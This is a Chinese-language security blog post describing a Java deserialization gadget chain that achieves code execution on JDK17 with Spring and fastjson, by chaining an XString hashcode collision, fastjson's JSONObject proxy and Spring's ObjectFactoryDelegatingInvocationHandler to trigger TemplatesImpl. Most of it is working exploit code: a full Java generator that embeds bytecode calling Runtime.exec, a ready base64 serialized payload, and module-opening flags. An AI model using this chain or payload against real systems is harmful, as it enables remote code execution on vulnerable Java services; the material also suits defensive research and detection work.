jdk17+spring+fj杀穿jdk

0x01 前提

​ 最近出了spring下的jdk17 template链。其主要主要利用aop去代理javax.xml.transform.Templates, 这样在出发getoutputProperties时,moudle就是变为了javax.xml.transform 在一个包下,绕过了moudle限制。

8340d9dcc73e83c8c441dfe3fc1ae76d

在不使用aop代理的时候。 不在一个包下

3895dd1f8cee6ca0072866028671b37f

可见核心就是使用JdkDynamicAopProxy去代理。

在测试过程中,我发现了高低版本spring的aop 会有 serid不一致的问题。而且由于一般我们都是用jdk8的工具去生成反序列化数据。

209c8bd887a943b8c63d3d9fafa7428d

01af48bfc67f927160d7862bba4c1f56

然么这个问题该怎么解决了

168276caa4b9a359fe7f74bc9a05b29a

使用chains得serdunmp 解析了修改后在重新build。

但是在继续测试时, 发现了tostring头的serid也不一致

1
eventtostring

image-20250824155927351

1
UIDefaults$TextAndMnemonicHashMap2tostring

image-20250824160120390

1
BadAttributeValueExpException jdk17 也g了

image-20250824171131723

怎么解决了? 我们知道jdk17绕过主利用动态代理,也就是我们完全可以换一下

0c32a7ee4eb098c79ab82e76b411f28a

直接使用cb利用chains的强大拼接功能就可以解决。直接cb打穿jdk!!!

也可以是用cc里面的tostring去出发,这些也在chains里有。利用cc(全版本通用)的CaseInsensitiveMap去出发,借助于第三方依赖来进行tostring,这样就不会有serid的问题

image-20250824160549505

1
2
3
4
5
6
7
8
9
10
11
    //cc4 换org.apache.commons.collections4.map.CaseInsensitiveMap
Map s = (Map) utils.createWithoutConstructor("org.apache.commons.collections.map.CaseInsensitiveMap");
Class<?> nodeB;
nodeB = Class.forName("org.apache.commons.collections.map.AbstractHashedMap$HashEntry");

Constructor<?> nodeCons = nodeB.getDeclaredConstructor(nodeB, int.class, Object.class, Object.class);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeB, 1);
Array.set(tbl, 0, nodeCons.newInstance(null, 0, toStringObj, toStringObj));
utils.setFieldValue(s, "data", tbl);
utils.setFieldValue(s, "size", 1);

具体构造如上。

但是这样都不太符合懒人选择,要选来选去,还要考虑jdk带来的serid 影响。

0x02 分析

​ so? 我们肯定是希望找一个在jdk8和在jdk17上 serid都一致的出发头,最后不依赖第三方,这也是为了以后方便拼接。所以com.sun.org.apache.xpath.internal.objects.XString就来了。

com.sun.org.apache.xpath.internal.objects.XString

29f5ab113623cce82970f7162edc4e95

image-20250824161429425

他们的serid以及子类是一样的。

也就是我们只需要利用xstring的equals来出发tostring就好了。也就是把hascode搞一致就行了

1
2
3
4
5
6
7
8
9
10
11
        Class<?> aClass1 = Class.forName("com.sun.org.apache.xpath.internal.objects.XStringForChars");
Object xstring = utils.createWithoutConstructor(aClass1);
utils.setFieldValue(xstring,"m_obj",new char[]{});
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
//zZ,yy 也行
hashMap1.put("通话",xstring);
hashMap1.put("重地",node);
hashMap2.put("重地",xstring);
hashMap2.put("通话",node);
HashMap<Object, Object> map = utils.makeMap(hashMap1, hashMap2);

总结一下就是这样就行了,两个map的hashcode会一致,进而出发xstring.equals.node。这样我们在jdk8生成的序列化就可以在jdk17上用了。

现在就是aop高低版本下的serid不一致。或者我们不妨在限制一下

1
org.springframework.aop.framework.JdkDynamicAopProxy

在黑名单的情况(许多产品的黑名单里常客。)

0x03 spring+fj

​ 这里也发现可以用org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler来进行替代,它在高低版本的sprinh中也没有serid的问题(我测试高低版本没有,aop是会包serid不一致

image-20250824162426410

image-20250824162435925

ObjectFactory接口的getter然后会返回一个泛型T。

也就是我们使用这个ObjectFactoryDelegatingInvocationHandler去javax.xml.transform.Templates, 然后在objectFactory.getObject()返回一个templatesImpl就可以达到和aop代理一样的效果了。

image-20250824163155667

但是显然在spring里是没有的。但是它也是个接口,还可以通过动态代理来返回templatesImpl对象

在查找资料的时候发现了补天社区有大哥文章中有现成的。

com.alibaba.fastjson.JSONObject#invoke

image-20250824163629195

它会从map中获取vaule,然后调用TypeUtils.cast进行强转后返回。method.getGenericReturnType()它会获取强转的类型。 最巧的来了

image-20250824163832891

利用jsonobject代理ObjectFactory接口 那么然后强转的就是T,也就是可以成功返回一个templatesImpl对象,不会导致强转类型失败。

整理一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
HashMap<String, Object> hashMap = new HashMap<>();
hashMap.put("object", templates);

JSONObject jsonObject = new JSONObject(hashMap);

Object o2 = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),new Class[]{ObjectFactory.class},jsonObject);
Object inv = utils.createWithoutConstructor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
utils.setFieldValue(inv, "objectFactory", o2);

Object o = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),new Class[]{Templates.class},(InvocationHandler)inv);
JSONArray objects = new JSONArray();
objects.add(o);
XString xstring=new XString("");
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
hashMap1.put("通话",xstring);
hashMap1.put("重地",objects);
hashMap2.put("重地",xstring);
hashMap2.put("通话",objects);
HashMap<Object, Object> map = utils.makeMap(hashMap1, hashMap2);

0x04 坑

​ 我们知道fastjson在1.2.48以后原生序列化是有了自己的readObject。

image-20250824164809221

SecureObjectInputStream重写了resolveClass,调用了checkAutoType检查。

具体原理可以查看y4tacker师傅的博客

image-20250824165059860

在jdk8下生成好数据后,

image-20250824165249893

jdk17下 还是调用不了。

简单说明一下原因

com.alibaba.fastjson.JSONObject#readObject

image-20250824165435398

com.alibaba.fastjson.JSONObject.SecureObjectInputStream

image-20250824165609498

fj的SecureObjectInputStream 在反序列的时候使用了反射,但是由于没有导包,然后没有预期的绕过。所以我们加上**–add-opens java.base/java.io=ALL-UNNAMED**即可。

image-20250824170055342

image-20250824170134986

image-20250824170306612

基本上高jdk的web应用都会开发这个包.

image-20250824170438292

开发包后,再次执行 成功弹出。

至此在spring+fj的依赖下,我们得到了一条在jdk17可用且不用考虑serid带来影响的链子。

完整代码

导包

1
--add-opens java.base/java.lang=ALL-UNNAMED    --add-opens java.base/java.io=ALL-UNNAMED
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package com.unam4.test;

import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.unam4.utils;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.beans.factory.ObjectFactory;

import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;

public class jdk17templatefj {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();

CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open .\");";
cc.makeClassInitializer().insertBefore(cmd);
byte[] classBytes = cc.toBytecode();
CtClass ctClass1 = pool.makeClass("Foo");

Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object templates = utils.createWithoutConstructor(aClass);
utils.setFieldValue(templates,"_name","n1ght");
utils.setFieldValue(templates,"_bytecodes", new byte[][] {classBytes, ctClass1.toBytecode()});
HashMap<String, Object> hashMap = new HashMap<>();
hashMap.put("object", templates);

JSONObject jsonObject = new JSONObject(hashMap);

Object o2 = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),new Class[]{ObjectFactory.class},jsonObject);
Object inv = utils.createWithoutConstructor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
utils.setFieldValue(inv, "objectFactory", o2);

Object o = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),new Class[]{Templates.class},(InvocationHandler)inv);
JSONArray objects = new JSONArray();
objects.add(o);
Class<?> aClass1 = Class.forName("com.sun.org.apache.xpath.internal.objects.XStringForChars");
Object xstring = utils.createWithoutConstructor(aClass1);
utils.setFieldValue(xstring,"m_obj",new char[]{});
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
hashMap1.put("通话",xstring);
hashMap1.put("重地",objects);
hashMap2.put("重地",xstring);
hashMap2.put("通话",objects);
HashMap<Object, Object> map = utils.makeMap(hashMap1, hashMap2);
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(o);
arrayList.add(map);
byte[] serialize = utils.serialize(arrayList);
utils.unserialize(Base64.getDecoder().decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAADdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAAAAAAB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAABUsr+ur4AAAA0ABkBAANDYXQHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACENhdC5qYXZhAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlAQARamF2YS9sYW5nL1J1bnRpbWUHAAoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAMAA0KAAsADgEABm9wZW4gLggAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAGPGluaXQ+DAAWAAgKAAQAFwAhAAIABAAAAAAAAgAIAAcACAABAAkAAAAWAAIAAAAAAAq4AA8SEbYAFVexAAAAAAABABYACAABAAkAAAARAAEAAQAAAAUqtwAYsQAAAAAAAQAFAAAAAgAGdXEAfgAKAAAAlsr+ur4AAAA0AAwBAANGb28HAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACEZvby5qYXZhAQAGPGluaXQ+AQADKClWDAAHAAgKAAQACQEABENvZGUAIQACAAQAAAAAAAEAAQAHAAgAAQALAAAAEQABAAEAAAAFKrcACrEAAAAAAAEABQAAAAIABnB0AAVuMWdodHB3AQB4c30AAAABAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyAGBvcmcuc3ByaW5nZnJhbWV3b3JrLmJlYW5zLmZhY3Rvcnkuc3VwcG9ydC5BdXRvd2lyZVV0aWxzJE9iamVjdEZhY3RvcnlEZWxlZ2F0aW5nSW52b2NhdGlvbkhhbmRsZXLq9unb4jygewIAAUwADW9iamVjdEZhY3Rvcnl0ADFMb3JnL3NwcmluZ2ZyYW1ld29yay9iZWFucy9mYWN0b3J5L09iamVjdEZhY3Rvcnk7eHBzfQAAAAEAL29yZy5zcHJpbmdmcmFtZXdvcmsuYmVhbnMuZmFjdG9yeS5PYmplY3RGYWN0b3J5eHEAfgAPc3IAH2NvbS5hbGliYWJhLmZhc3Rqc29uLkpTT05PYmplY3QAAAAAAAAAAQIAAUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAF0AAZvYmplY3RxAH4AB3hzcQB+ABo/QAAAAAAAAHcIAAAAAgAAAAJzcQB+ABo/QAAAAAAADHcIAAAAEAAAAAJ0AAbpgJror51zcgAxY29tLnN1bi5vcmcuYXBhY2hlLnhwYXRoLmludGVybmFsLm9iamVjdHMuWFN0cmluZxwKJztIFsX9AgAAeHIAMWNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5vYmplY3RzLlhPYmplY3T0mBIJu3u2GQIAAUwABW1fb2JqdAASTGphdmEvbGFuZy9PYmplY3Q7eHIALGNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5FeHByZXNzaW9uB9mmHI2srNYCAAFMAAhtX3BhcmVudHQAMkxjb20vc3VuL29yZy9hcGFjaGUveHBhdGgvaW50ZXJuYWwvRXhwcmVzc2lvbk5vZGU7eHBwdAAAdAAG6YeN5Zywc3IAHmNvbS5hbGliYWJhLmZhc3Rqc29uLkpTT05BcnJheQAAAAAAAAABAgABTAAEbGlzdHQAEExqYXZhL3V0aWwvTGlzdDt4cHNxAH4AAAAAAAF3BAAAAAFxAH4AEXh4dAAEa2V5MXNxAH4AGj9AAAAAAAAMdwgAAAAQAAAAAnEAfgAncQB+ACVxAH4AH3EAfgAqeHQABGtleTJ4eA=="));
}
}

refence

https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/

https://forum.butian.net/share/4153


jdk17+spring+fj杀穿jdk
https://unam4.github.io/2025/12/01/jdk17-spring-fj杀穿jdk/
作者
unam4
发布于
2025年12月1日
许可协议